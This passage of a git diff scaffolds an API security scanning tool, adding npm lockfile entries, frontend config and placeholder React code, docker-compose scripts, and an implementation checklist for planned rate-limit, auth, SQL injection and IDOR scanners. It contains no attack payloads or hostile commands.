"optional": true+ },+ "lightningcss": {+ "optional": true+ },+ "sass": {+ "optional": true+ },+ "sass-embedded": {+ "optional": true+ },+ "stylus": {+ "optional": true+ },+ "sugarss": {+ "optional": true+ },+ "terser": {+ "optional": true+ },+ "tsx": {+ "optional": true+ },+ "yaml": {+ "optional": true+ }+ }+ },+ "node_modules/vite-tsconfig-paths": {+ "version": "5.1.4",+ "resolved": "https://registry.npmjs.org/vite-tsconfig-paths/-/vite-tsconfig-paths-5.1.4.tgz",+ "integrity": "sha512-cYj0LRuLV2c2sMqhqhGpaO3LretdtMn/BVX4cPLanIZuwwrkVl+lK84E/miEXkCHWXuq65rhNN4rXsBcOB3S4w==",+ "dev": true,+ "dependencies": {+ "debug": "^4.1.1",+ "globrex": "^0.1.2",+ "tsconfck": "^3.0.3"+ },+ "peerDependencies": {+ "vite": "*"+ },+ "peerDependenciesMeta": {+ "vite": {+ "optional": true+ }+ }+ },+ "node_modules/vite/node_modules/fdir": {+ "version": "6.5.0",+ "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",+ "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=12.0.0"+ },+ "peerDependencies": {+ "picomatch": "^3 || ^4"+ },+ "peerDependenciesMeta": {+ "picomatch": {+ "optional": true+ }+ }+ },+ "node_modules/vite/node_modules/picomatch": {+ "version": "4.0.3",+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",+ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=12"+ },+ "funding": {+ "url": "https://github.com/sponsors/jonschlinkert"+ }+ },+ "node_modules/which": {+ "version": "2.0.2",+ "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",+ "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",+ "dev": true,+ "license": "ISC",+ "dependencies": {+ "isexe": "^2.0.0"+ },+ "bin": {+ "node-which": "bin/node-which"+ },+ "engines": {+ "node": ">= 8"+ }+ },+ "node_modules/which-boxed-primitive": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz",+ "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==",+ "dev": true,+ "dependencies": {+ "is-bigint": "^1.1.0",+ "is-boolean-object": "^1.2.1",+ "is-number-object": "^1.1.1",+ "is-string": "^1.1.1",+ "is-symbol": "^1.1.1"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/which-builtin-type": {+ "version": "1.2.1",+ "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz",+ "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.2",+ "function.prototype.name": "^1.1.6",+ "has-tostringtag": "^1.0.2",+ "is-async-function": "^2.0.0",+ "is-date-object": "^1.1.0",+ "is-finalizationregistry": "^1.1.0",+ "is-generator-function": "^1.0.10",+ "is-regex": "^1.2.1",+ "is-weakref": "^1.0.2",+ "isarray": "^2.0.5",+ "which-boxed-primitive": "^1.1.0",+ "which-collection": "^1.0.2",+ "which-typed-array": "^1.1.16"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/which-collection": {+ "version": "1.0.2",+ "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz",+ "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==",+ "dev": true,+ "dependencies": {+ "is-map": "^2.0.3",+ "is-set": "^2.0.3",+ "is-weakmap": "^2.0.2",+ "is-weakset": "^2.0.3"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/which-typed-array": {+ "version": "1.1.19",+ "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.19.tgz",+ "integrity": "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==",+ "dev": true,+ "dependencies": {+ "available-typed-arrays": "^1.0.7",+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.4",+ "for-each": "^0.3.5",+ "get-proto": "^1.0.1",+ "gopd": "^1.2.0",+ "has-tostringtag": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/word-wrap": {+ "version": "1.2.5",+ "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz",+ "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=0.10.0"+ }+ },+ "node_modules/ws": {+ "version": "8.17.1",+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.17.1.tgz",+ "integrity": "sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==",+ "engines": {+ "node": ">=10.0.0"+ },+ "peerDependencies": {+ "bufferutil": "^4.0.1",+ "utf-8-validate": ">=5.0.2"+ },+ "peerDependenciesMeta": {+ "bufferutil": {+ "optional": true+ },+ "utf-8-validate": {+ "optional": true+ }+ }+ },+ "node_modules/xmlhttprequest-ssl": {+ "version": "2.1.2",+ "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz",+ "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==",+ "engines": {+ "node": ">=0.4.0"+ }+ },+ "node_modules/yallist": {+ "version": "3.1.1",+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",+ "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",+ "dev": true,+ "license": "ISC"+ },+ "node_modules/yocto-queue": {+ "version": "0.1.0",+ "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",+ "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=10"+ },+ "funding": {+ "url": "https://github.com/sponsors/sindresorhus"+ }+ },+ "node_modules/zod": {+ "version": "4.1.12",+ "resolved": "https://registry.npmjs.org/zod/-/zod-4.1.12.tgz",+ "integrity": "sha512-JInaHOamG8pt5+Ey8kGmdcAcg3OL9reK8ltczgHTAwNhMys/6ThXHityHxVV2p3fkw/c+MAvBHFVYHFZDmjMCQ==",+ "funding": {+ "url": "https://github.com/sponsors/colinhacks"+ }+ },+ "node_modules/zustand": {+ "version": "5.0.8",+ "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.8.tgz",+ "integrity": "sha512-gyPKpIaxY9XcO2vSMrLbiER7QMAMGOQZVRdJ6Zi782jkbzZygq5GI9nG8g+sMgitRtndwaBSl7uiqC49o1SSiw==",+ "engines": {+ "node": ">=12.20.0"+ },+ "peerDependencies": {+ "@types/react": ">=18.0.0",+ "immer": ">=9.0.6",+ "react": ">=18.0.0",+ "use-sync-external-store": ">=1.2.0"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "immer": {+ "optional": true+ },+ "react": {+ "optional": true+ },+ "use-sync-external-store": {+ "optional": true+ }+ }+ },+ "node_modules/zwitch": {+ "version": "2.0.4",+ "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz",+ "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ }+ }+}diff --git a/api-security-scanner/frontend/package.json b/api-security-scanner/frontend/package.jsonnew file mode 100644index 00000000..81d668a9--- /dev/null+++ b/api-security-scanner/frontend/package.json@@ -0,0 +1,60 @@+{+ "name": "api-security-scanner",+ "version": "1.0.0",+ "private": true,+ "type": "module",+ "scripts": {+ "build": "vite build",+ "dev": "vite",+ "format": "prettier --write \"**/*.{ts,tsx,scss}\"",+ "format:check": "prettier --check \"**/*.{ts,tsx,scss}\"",+ "lint": "npm run lint:eslint && npm run lint:scss && npm run lint:types",+ "lint:eslint": "eslint . --ext .ts,.tsx --max-warnings 0",+ "lint:types": "tsc --project tsconfig.app.json --noEmit"+ },+ "dependencies": {+ "@hookform/resolvers": "^5.2.1",+ "@radix-ui/react-collapsible": "^1.1.12",+ "@radix-ui/react-dialog": "^1.1.15",+ "@radix-ui/react-dropdown-menu": "^2.1.16",+ "@radix-ui/react-tabs": "^1.1.13",+ "@radix-ui/react-toast": "^1.2.15",+ "@radix-ui/react-tooltip": "^1.2.8",+ "@tanstack/react-query": "^5.85.3",+ "@tanstack/react-query-devtools": "^5.85.3",+ "axios": "^1.12.2",+ "clsx": "^2.1.1",+ "date-fns": "^4.1.0",+ "immer": "^10.1.1",+ "react": "^19.1.1",+ "react-dom": "^19.1.1",+ "react-hook-form": "^7.62.0",+ "react-icons": "^5.5.0",+ "react-markdown": "^10.1.0",+ "react-router-dom": "^7.8.1",+ "recharts": "^3.1.2",+ "socket.io-client": "^4.8.1",+ "sonner": "^2.0.7",+ "zod": "^4.0.17",+ "zustand": "^5.0.7"+ },+ "devDependencies": {+ "@eslint/js": "^9.33.0",+ "@types/react": "^19.1.10",+ "@types/react-dom": "^19.1.7",+ "@vitejs/plugin-react": "^5.0.0",+ "eslint": "^9.33.0",+ "eslint-config-prettier": "^10.1.8",+ "eslint-plugin-jsx-a11y": "^6.10.2",+ "eslint-plugin-react": "^7.37.5",+ "eslint-plugin-react-hooks": "^5.2.0",+ "eslint-plugin-react-refresh": "^0.4.20",+ "globals": "^16.3.0",+ "husky": "^8.0.0",+ "prettier": "^3.6.2",+ "typescript": "~5.8.3",+ "typescript-eslint": "^8.39.1",+ "vite": "^7.1.2",+ "vite-tsconfig-paths": "^5.1.4"+ }+}diff --git a/api-security-scanner/frontend/public/android-chrome-192x192.png b/api-security-scanner/frontend/public/android-chrome-192x192.pngnew file mode 100644index 00000000..0f026f7fBinary files /dev/null and b/api-security-scanner/frontend/public/android-chrome-192x192.png differdiff --git a/api-security-scanner/frontend/public/android-chrome-512x512.png b/api-security-scanner/frontend/public/android-chrome-512x512.pngnew file mode 100644index 00000000..ccd36d2dBinary files /dev/null and b/api-security-scanner/frontend/public/android-chrome-512x512.png differdiff --git a/api-security-scanner/frontend/public/apple-touch-icon.png b/api-security-scanner/frontend/public/apple-touch-icon.pngnew file mode 100644index 00000000..5ce04746Binary files /dev/null and b/api-security-scanner/frontend/public/apple-touch-icon.png differdiff --git a/api-security-scanner/frontend/public/favicon-16x16.png b/api-security-scanner/frontend/public/favicon-16x16.pngnew file mode 100644index 00000000..3d23377dBinary files /dev/null and b/api-security-scanner/frontend/public/favicon-16x16.png differdiff --git a/api-security-scanner/frontend/public/favicon-32x32.png b/api-security-scanner/frontend/public/favicon-32x32.pngnew file mode 100644index 00000000..3aaac88dBinary files /dev/null and b/api-security-scanner/frontend/public/favicon-32x32.png differdiff --git a/api-security-scanner/frontend/public/favicon.ico b/api-security-scanner/frontend/public/favicon.iconew file mode 100644index 00000000..e73bac0cBinary files /dev/null and b/api-security-scanner/frontend/public/favicon.ico differdiff --git a/api-security-scanner/frontend/public/site.webmanifest b/api-security-scanner/frontend/public/site.webmanifestnew file mode 100644index 00000000..45dc8a20--- /dev/null+++ b/api-security-scanner/frontend/public/site.webmanifest@@ -0,0 +1 @@+{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}\ No newline at end of filediff --git a/api-security-scanner/frontend/src/App.tsx b/api-security-scanner/frontend/src/App.tsxnew file mode 100644index 00000000..7ce89ef4--- /dev/null+++ b/api-security-scanner/frontend/src/App.tsx@@ -0,0 +1,24 @@+/**+ * ©AngelaMos | 2025+ * Main application component+ */++function App() {+ return (+ <div+ style={{+ backgroundColor: '#000',+ color: '#fff',+ minHeight: '100vh',+ display: 'flex',+ alignItems: 'center',+ justifyContent: 'center',+ fontFamily: 'system-ui, -apple-system, sans-serif',+ }}+ >+ <h1>API Security Scanner - Placeholder</h1>+ </div>+ );+}++export default App;diff --git a/api-security-scanner/frontend/src/config/constants.ts b/api-security-scanner/frontend/src/config/constants.tsnew file mode 100644index 00000000..6aa86846--- /dev/null+++ b/api-security-scanner/frontend/src/config/constants.ts@@ -0,0 +1,85 @@+/**+ * ©AngelaMos | 2025+ * All hardcoded values, API endpoints, and configuration constants+ */++/**+ * API Configuration+ */+export const API_BASE_URL =+ import.meta.env.VITE_API_URL || 'http://localhost/api';++export const API_ENDPOINTS = {+ // Auth endpoints+ AUTH: {+ REGISTER: '/auth/register',+ LOGIN: '/auth/login',+ },+ // Scan endpoints+ SCANS: {+ CREATE: '/scans',+ LIST: '/scans',+ GET: (id: number) => `/scans/${id}`,+ DELETE: (id: number) => `/scans/${id}`,+ },+} as const;++/**+ * LocalStorage Keys+ */+export const STORAGE_KEYS = {+ AUTH_TOKEN: 'auth_token',+ USER: 'user',+} as const;++/**+ * Application Constants+ */+export const APP_NAME = 'API Security Scanner';+export const APP_VERSION = '1.0.0';++/**+ * Scan Configuration+ */+export const SCAN_TYPES = {+ RATE_LIMIT: 'rate_limit',+ AUTH: 'auth',+ SQLI: 'sqli',+ IDOR: 'idor',+} as const;++export const SCAN_TYPE_LABELS: Record<string, string> = {+ [SCAN_TYPES.RATE_LIMIT]: 'Rate Limiting',+ [SCAN_TYPES.AUTH]: 'Authentication',+ [SCAN_TYPES.SQLI]: 'SQL Injection',+ [SCAN_TYPES.IDOR]: 'IDOR',+};++/**+ * Severity Levels+ */+export const SEVERITY = {+ CRITICAL: 'critical',+ HIGH: 'high',+ MEDIUM: 'medium',+ LOW: 'low',+ INFO: 'info',+} as const;++export const SEVERITY_COLORS: Record<string, string> = {+ [SEVERITY.CRITICAL]: '#dc2626',+ [SEVERITY.HIGH]: '#ea580c',+ [SEVERITY.MEDIUM]: '#f59e0b',+ [SEVERITY.LOW]: '#3b82f6',+ [SEVERITY.INFO]: '#6b7280',+};++/**+ * Scan Status+ */+export const SCAN_STATUS = {+ PENDING: 'pending',+ RUNNING: 'running',+ COMPLETED: 'completed',+ FAILED: 'failed',+} as const;diff --git a/api-security-scanner/frontend/src/lib/api.ts b/api-security-scanner/frontend/src/lib/api.tsnew file mode 100644index 00000000..7e624ef6--- /dev/null+++ b/api-security-scanner/frontend/src/lib/api.ts@@ -0,0 +1,51 @@+/**+ * ©AngelaMos | 2025+ * Axios instance with request/response interceptors+ */++import axios, { AxiosError, AxiosResponse } from 'axios';+import { API_BASE_URL, STORAGE_KEYS } from '@/config/constants';++/**+ * Create axios instance with base configuration+ */+export const api = axios.create({+ baseURL: API_BASE_URL,+ timeout: 30000,+ headers: {+ 'Content-Type': 'application/json',+ },+});++/**+ * Request interceptor - attach auth token to requests+ */+api.interceptors.request.use(+ (config) => {+ const token = localStorage.getItem(STORAGE_KEYS.AUTH_TOKEN);+ if (token) {+ config.headers.Authorization = `Bearer ${token}`;+ }+ return config;+ },+ (error: AxiosError) => {+ return Promise.reject(error);+ },+);++/**+ * Response interceptor - handle common errors+ */+api.interceptors.response.use(+ (response: AxiosResponse) => {+ return response;+ },+ (error: AxiosError) => {+ if (error.response?.status === 401) {+ localStorage.removeItem(STORAGE_KEYS.AUTH_TOKEN);+ localStorage.removeItem(STORAGE_KEYS.USER);+ window.location.href = '/login';+ }+ return Promise.reject(error);+ },+);diff --git a/api-security-scanner/frontend/src/lib/queryClient.ts b/api-security-scanner/frontend/src/lib/queryClient.tsnew file mode 100644index 00000000..34ac96dc--- /dev/null+++ b/api-security-scanner/frontend/src/lib/queryClient.ts@@ -0,0 +1,19 @@+/**+ * ©AngelaMos | 2025+ * TanStack Query client configuration+ */++import { QueryClient } from '@tanstack/react-query';++export const queryClient = new QueryClient({+ defaultOptions: {+ queries: {+ retry: 1,+ refetchOnWindowFocus: false,+ staleTime: 5 * 60 * 1000, // 5 minutes+ },+ mutations: {+ retry: false,+ },+ },+});diff --git a/api-security-scanner/frontend/src/main.tsx b/api-security-scanner/frontend/src/main.tsxnew file mode 100644index 00000000..050e345b--- /dev/null+++ b/api-security-scanner/frontend/src/main.tsx@@ -0,0 +1,14 @@+/**+ * ©AngelaMos | 2025+ * Application entry point+ */++import { StrictMode } from 'react';+import { createRoot } from 'react-dom/client';+import App from './App.tsx';++createRoot(document.getElementById('root')!).render(+ <StrictMode>+ <App />+ </StrictMode>,+);diff --git a/api-security-scanner/frontend/src/router.tsx b/api-security-scanner/frontend/src/router.tsxnew file mode 100644index 00000000..a7da38be--- /dev/null+++ b/api-security-scanner/frontend/src/router.tsx@@ -0,0 +1,51 @@+/**+ * ©AngelaMos | 2025+ * Application routing configuration+ */++import { createBrowserRouter } from 'react-router-dom';++/**+ * Placeholder components for routes+ */+const PlaceholderPage = ({ title }: { title: string }) => (+ <div+ style={{+ backgroundColor: '#000',+ color: '#fff',+ minHeight: '100vh',+ display: 'flex',+ alignItems: 'center',+ justifyContent: 'center',+ fontFamily: 'system-ui, -apple-system, sans-serif',+ flexDirection: 'column',+ gap: '1rem',+ }}+ >+ <h1>{title}</h1>+ <p style={{ color: '#888' }}>Page coming soon...</p>+ </div>+);++export const router = createBrowserRouter([+ {+ path: '/',+ element: <PlaceholderPage title="Dashboard" />,+ },+ {+ path: '/login',+ element: <PlaceholderPage title="Login" />,+ },+ {+ path: '/register',+ element: <PlaceholderPage title="Register" />,+ },+ {+ path: '/scan',+ element: <PlaceholderPage title="New Scan" />,+ },+ {+ path: '/history',+ element: <PlaceholderPage title="Scan History" />,+ },+]);diff --git a/api-security-scanner/frontend/tsconfig.app.json b/api-security-scanner/frontend/tsconfig.app.jsonnew file mode 100644index 00000000..e3a4a562--- /dev/null+++ b/api-security-scanner/frontend/tsconfig.app.json@@ -0,0 +1,28 @@+{+ "compilerOptions": {+ "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo",+ "target": "ES2022",+ "useDefineForClassFields": true,+ "lib": ["ES2022", "DOM", "DOM.Iterable"],+ "module": "ESNext",+ "skipLibCheck": true,+ "moduleResolution": "bundler",+ "allowImportingTsExtensions": true,+ "verbatimModuleSyntax": true,+ "moduleDetection": "force",+ "noEmit": true,+ "jsx": "react-jsx",+ "isolatedModules": true,+ "baseUrl": ".",+ "paths": {+ "@/*": ["./src/*"],+ },+ "strict": true,+ "noUnusedLocals": true,+ "noUnusedParameters": true,+ "noFallthroughCasesInSwitch": true,+ "noImplicitReturns": true,+ "exactOptionalPropertyTypes": true+ },+ "include": ["src"]+}diff --git a/api-security-scanner/frontend/tsconfig.json b/api-security-scanner/frontend/tsconfig.jsonnew file mode 100644index 00000000..1ffef600--- /dev/null+++ b/api-security-scanner/frontend/tsconfig.json@@ -0,0 +1,7 @@+{+ "files": [],+ "references": [+ { "path": "./tsconfig.app.json" },+ { "path": "./tsconfig.node.json" }+ ]+}diff --git a/api-security-scanner/frontend/tsconfig.node.json b/api-security-scanner/frontend/tsconfig.node.jsonnew file mode 100644index 00000000..73b88a37--- /dev/null+++ b/api-security-scanner/frontend/tsconfig.node.json@@ -0,0 +1,22 @@+{+ "compilerOptions": {+ "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo",+ "target": "ES2023",+ "lib": ["ES2023"],+ "module": "ESNext",+ "skipLibCheck": true,+ "moduleResolution": "bundler",+ "allowImportingTsExtensions": true,+ "verbatimModuleSyntax": true,+ "moduleDetection": "force",+ "noEmit": true,+ "composite": true,+ "resolveJsonModule": true,+ "isolatedModules": true,+ "strict": true,+ "noUnusedLocals": true,+ "noUnusedParameters": true,+ "noFallthroughCasesInSwitch": true+ },+ "include": ["vite.config.ts"]+}diff --git a/api-security-scanner/frontend/vite.config.ts b/api-security-scanner/frontend/vite.config.tsnew file mode 100644index 00000000..fc396aaa--- /dev/null+++ b/api-security-scanner/frontend/vite.config.ts@@ -0,0 +1,41 @@+// ===================+// © AngelaMos | 2025+// vite.config.ts+// ===================+import react from '@vitejs/plugin-react';+import tsconfigPaths from 'vite-tsconfig-paths';+import { defineConfig } from 'vite';++export default defineConfig({+ plugins: [react(), tsconfigPaths()],+ resolve: {+ alias: {+ '@': '/src',+ },+ extensions: ['.ts', '.tsx', '.js', '.jsx', '.json'],+ },+ build: {+ outDir: 'build',+ sourcemap: false,+ rollupOptions: {+ output: {+ manualChunks: {+ vendor: ['react', 'react-dom'],+ router: ['react-router-dom'],+ query: ['@tanstack/react-query'],+ },+ },+ },+ },+ server: {+ host: '0.0.0.0',+ port: 5173,+ proxy: {+ '/api': {+ target: process.env.VITE_PROXY_TARGET || 'http://backend:8000',+ changeOrigin: true,+ rewrite: (path) => path.replace(/^\/api/, ''),+ },+ },+ },+});diff --git a/api-security-scanner/package.json b/api-security-scanner/package.jsonnew file mode 100644index 00000000..7faec519--- /dev/null+++ b/api-security-scanner/package.json@@ -0,0 +1,33 @@+{+ "name": "api-security-scanner",+ "version": "1.0.0",+ "description": "Automated API security testing tool with FastAPI backend and ReactTS frontend",+ "private": true,+ "scripts": {+ "dev": "docker-compose -f docker-compose.dev.yml up",+ "dev:build": "docker compose -f docker-compose.dev.yml up --build",+ "dev:down": "docker compose -f docker-compose.dev.yml down",+ "dev:logs": "docker compose -f docker-compose.dev.yml logs -f",+ "prod": "docker compose -f docker-compose.prod.yml up -d",+ "prod:build": "docker compose -f docker-compose.prod.yml up --build -d",+ "prod:down": "docker compose -f docker-compose.prod.yml down",+ "prod:logs": "docker compose -f docker-compose.prod.yml logs -f",+ "clean": "docker compose -f docker-compose.dev.yml down -v && docker compose -f docker-compose.prod.yml down -v",+ "clean:all": "npm run clean && docker system prune -af --volumes"+ },+ "repository": {+ "type": "git",+ "url": "https://github.com/carterperez-dev/api-security-scanner"+ },+ "keywords": [+ "security",+ "api-testing",+ "vulnerability-scanner",+ "pentesting",+ "fastapi",+ "react",+ "docker"+ ],+ "author": "CarerPerez-dev - also replace my github url username with yours",+ "license": "MIT"+}diff --git a/checklist.md b/checklist.mdnew file mode 100644index 00000000..1e8c1679--- /dev/null+++ b/checklist.md@@ -0,0 +1,698 @@+# API Security Testing Tool - Implementation Checklist++**Project Start Date:** 2025-11-08+**Status:** In Progress++---++## ✅ PROJECT SETUP++### Initial Structure+- [x] Create `/backend` directory+- [ ] Create `/frontend` directory+- [ ] Create `/conf` directory for Docker/Nginx configs+- [x] Create root `.gitignore` file++---++## 🐍 BACKEND - FOUNDATION++### Python Project Setup+- [ ] Create `backend/pyproject.toml` with project metadata+- [ ] Create `backend/requirements.txt` with all dependencies+- [ ] Create `backend/.python-version` (specify Python 3.11)+- [x] Create `backend/.style.yapf` for code formatting+- [ ] Create `backend/.env.example` with all required environment variables+- [ ] Create `backend/__init__.py` (empty, marks as package)++### Core Configuration+- [ ] Create `backend/config.py` with Settings class (Pydantic BaseSettings)+- [ ] Add all magic number constants to config.py (PASSWORD_MIN_LENGTH, MAX_REQUESTS_DEFAULT, etc.)+- [ ] Add database URL configuration+- [ ] Add JWT settings (SECRET_KEY, ALGORITHM, ACCESS_TOKEN_EXPIRE_MINUTES)+- [ ] Add CORS origins configuration+- [ ] Add scanner default settings+- [ ] Implement cached settings function with @lru_cache++### Core Modules - `backend/core/`+- [ ] Create `backend/core/__init__.py`+- [ ] Create `backend/core/enums.py` with ScanStatus enum+- [ ] Add Severity enum to enums.py+- [ ] Add TestType enum to enums.py+- [ ] Create `backend/core/database.py` with SQLAlchemy engine setup+- [ ] Add SessionLocal factory to database.py+- [ ] Add Base declarative_base to database.py+- [ ] Add get_db() dependency function to database.py+- [ ] Create `backend/core/security.py` with bcrypt password hashing+- [ ] Add JWT token creation function to security.py+- [ ] Add JWT token decode/verify function to security.py+- [ ] Create `backend/core/dependencies.py` with HTTPBearer security+- [ ] Add get_current_user() dependency to dependencies.py++---++## 🗄️ BACKEND - DATA LAYER++### Models - `backend/models/`+- [ ] Create `backend/models/__init__.py`+- [ ] Create `backend/models/User.py` (thin, just table definition)+- [ ] Create `backend/models/ScanResult.py` (scan history table)+- [ ] Create `backend/models/ApiTarget.py` (optional: store target APIs)++### Schemas (Pydantic V2) - `backend/schemas/`+- [ ] Create `backend/schemas/__init__.py`+- [ ] Create `backend/schemas/shared_schemas.py` with generic response models+- [ ] Create `backend/schemas/user_schemas.py` with UserCreate schema+- [ ] Add UserLogin schema to user_schemas.py+- [ ] Add UserResponse schema with ConfigDict(from_attributes=True) to user_schemas.py+- [ ] Add TokenResponse schema to user_schemas.py+- [ ] Create `backend/schemas/scan_schemas.py` with ScanRequest schema+- [ ] Add ScanResult schema to scan_schemas.py (individual test result)+- [ ] Add ScanResponse schema to scan_schemas.py (complete scan response)+- [ ] Replace ALL magic numbers in Field() with config constants++### TypedDicts - `backend/types/`+- [ ] Create `backend/types/__init__.py`+- [ ] Create `backend/types/scan_types.py` with ScannerResult TypedDict+- [ ] Add ScannerConfig TypedDict to scan_types.py+- [ ] Create `backend/types/service_types.py` with service layer TypedDicts+- [ ] Create `backend/types/repository_types.py` with UserDict TypedDict++### Repositories - `backend/repositories/`+- [ ] Create `backend/repositories/__init__.py`+- [ ] Create `backend/repositories/shared_repository.py` with base repository functions+- [ ] Create `backend/repositories/user_repository.py` as static class+- [ ] Add get_by_email() method to UserRepository+- [ ] Add get_by_id() method to UserRepository+- [ ] Add create() method to UserRepository+- [ ] Add get_all_active() method to UserRepository+- [ ] Create `backend/repositories/scan_repository.py` as static class+- [ ] Add save_scan() method to ScanRepository+- [ ] Add get_by_user() method to ScanRepository+- [ ] Add get_by_id() method to ScanRepository++---++## 🧠 BACKEND - BUSINESS LOGIC++### Services - `backend/services/`+- [ ] Create `backend/services/__init__.py`+- [ ] Create `backend/services/auth_service.py` with AuthService class+- [ ] Add register_user() method to AuthService+- [ ] Add login_user() method to AuthService (returns TokenResponse)+- [ ] Add password validation logic to AuthService+- [ ] Add user existence check to AuthService+- [ ] Create `backend/services/user_service.py` with UserService class+- [ ] Add get_user_profile() method to UserService+- [ ] Add update_user() method to UserService+- [ ] Create `backend/services/scan_service.py` with ScanService class+- [ ] Add run_scan() async method to ScanService+- [ ] Add get_scan_history() method to ScanService+- [ ] Add get_scan_by_id() method to ScanService+- [ ] Implement concurrent scanner execution with asyncio.gather() in ScanService++---++## 🔍 BACKEND - SECURITY SCANNERS++### Base Scanner - `backend/scanners/`+- [ ] Create `backend/scanners/__init__.py`+- [ ] Create `backend/scanners/base_scanner.py` with BaseScanner ABC+- [ ] Add abstract scan() method to BaseScanner+- [ ] Add _create_result() helper method to BaseScanner++### Rate Limit Scanner+- [ ] Create `backend/scanners/rate_limit_scanner.py` inheriting BaseScanner+- [ ] Implement concurrent request sending with httpx AsyncClient+- [ ] Add response analysis logic (count 429 status codes)+- [ ] Add vulnerability detection logic (no rate limiting = vulnerable)+- [ ] Add evidence collection (requests_sent, successful_requests, rate_limited)+- [ ] Add recommendations for vulnerable cases+- [ ] Add _send_request() helper method++### Auth Scanner+- [ ] Create `backend/scanners/auth_scanner.py` inheriting BaseScanner+- [ ] Implement expired token test+- [ ] Implement missing token test+- [ ] Implement malformed token test+- [ ] Implement token location tests (header/query/body)+- [ ] Add vulnerability detection logic+- [ ] Add evidence collection+- [ ] Add recommendations++### SQLi Scanner+- [ ] Create `backend/scanners/sqli_scanner.py` inheriting BaseScanner+- [ ] Define common SQLi payloads list+- [ ] Implement payload injection in URL params+- [ ] Implement payload injection in request body+- [ ] Implement error-based detection (look for SQL errors in responses)+- [ ] Implement time-based detection (measure response times)+- [ ] Add vulnerability detection logic+- [ ] Add evidence collection (vulnerable params, payloads that worked)+- [ ] Add recommendations++### IDOR/BOLA Scanner+- [ ] Create `backend/scanners/idor_scanner.py` inheriting BaseScanner+- [ ] Implement ID parameter detection in URLs+- [ ] Implement ID increment/decrement testing+- [ ] Implement unauthorized access detection (200 status = vulnerable)+- [ ] Add vulnerability detection logic+- [ ] 